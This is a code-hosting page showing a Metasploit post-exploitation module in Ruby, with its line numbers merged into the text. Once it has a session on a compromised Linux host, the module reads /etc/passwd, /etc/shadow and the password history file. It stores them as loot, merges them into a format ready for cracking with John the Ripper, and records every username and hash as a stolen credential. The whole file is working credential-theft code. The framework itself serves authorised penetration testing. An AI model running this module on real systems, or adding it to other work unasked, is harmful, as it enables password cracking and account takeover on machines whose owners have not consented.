Path: blob/master/modules/post/linux/gather/hashdump.rb
21545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',14'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},15'License' => MSF_LICENSE,16'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],17'Platform' => ['linux'],18'SessionTypes' => ['shell', 'meterpreter'],19'Notes' => {20'Stability' => [CRASH_SAFE],21'SideEffects' => [],22'Reliability' => []23}24)25)26end2728# Run Method for when run command is issued29def run30unless readable?('/etc/shadow')31fail_with Failure::NoAccess, 'Shadow file must be readable in order to dump hashes'32end3334passwd_file = read_file('/etc/passwd')35unless passwd_file.nil?36p = store_loot('linux.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Linux Passwd File')37vprint_good("passwd saved in: #{p}")38end3940shadow_file = read_file('/etc/shadow')41unless shadow_file.nil?42p = store_loot('linux.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Linux Password Shadow File')43vprint_good("Shadow saved in: #{p}")44end4546opasswd_file = read_file('/etc/security/opasswd')47unless opasswd_file.nil?48p = store_loot('linux.passwd.history', 'text/plain', session, opasswd_file, 'opasswd.tx', 'Linux Passwd History File')49vprint_good("opasswd saved in: #{p}")50end5152# Unshadow the files53john_file = unshadow(passwd_file.to_s, shadow_file.to_s)54return if john_file == ''5556john_file.each_line do |l|57hash_parts = l.split(':')58jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]5960if jtr_format.empty? # overide the default61jtr_format = 'des,bsdi,crypt'62end6364credential_data = {65jtr_format: jtr_format,66origin_type: :session,67post_reference_name: refname,68private_type: :nonreplayable_hash,69private_data: hash_parts[1],70session_id: session_db_id,71username: hash_parts[0],72workspace_id: myworkspace_id73}74create_credential(credential_data)75print_good(l.chomp)76end7778# Save passwd file79upasswd = store_loot('linux.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Linux Unshadowed Password File')80print_good("Unshadowed Password File: #{upasswd}")81end8283def unshadow(pf, sf)84unshadowed = ''85sf.each_line do |sl|86pass = sl.scan(/^\w*:([^:]*)/).join8788next if pass == '*'89next if pass == '!'9091user = sl.scan(/(^\w*):/).join92pf.each_line do |pl|93next unless pl.match(/^#{user}:/)9495unshadowed << pl.gsub(/:x:/, ":#{pass}:")96end97end9899unshadowed100end101end102103104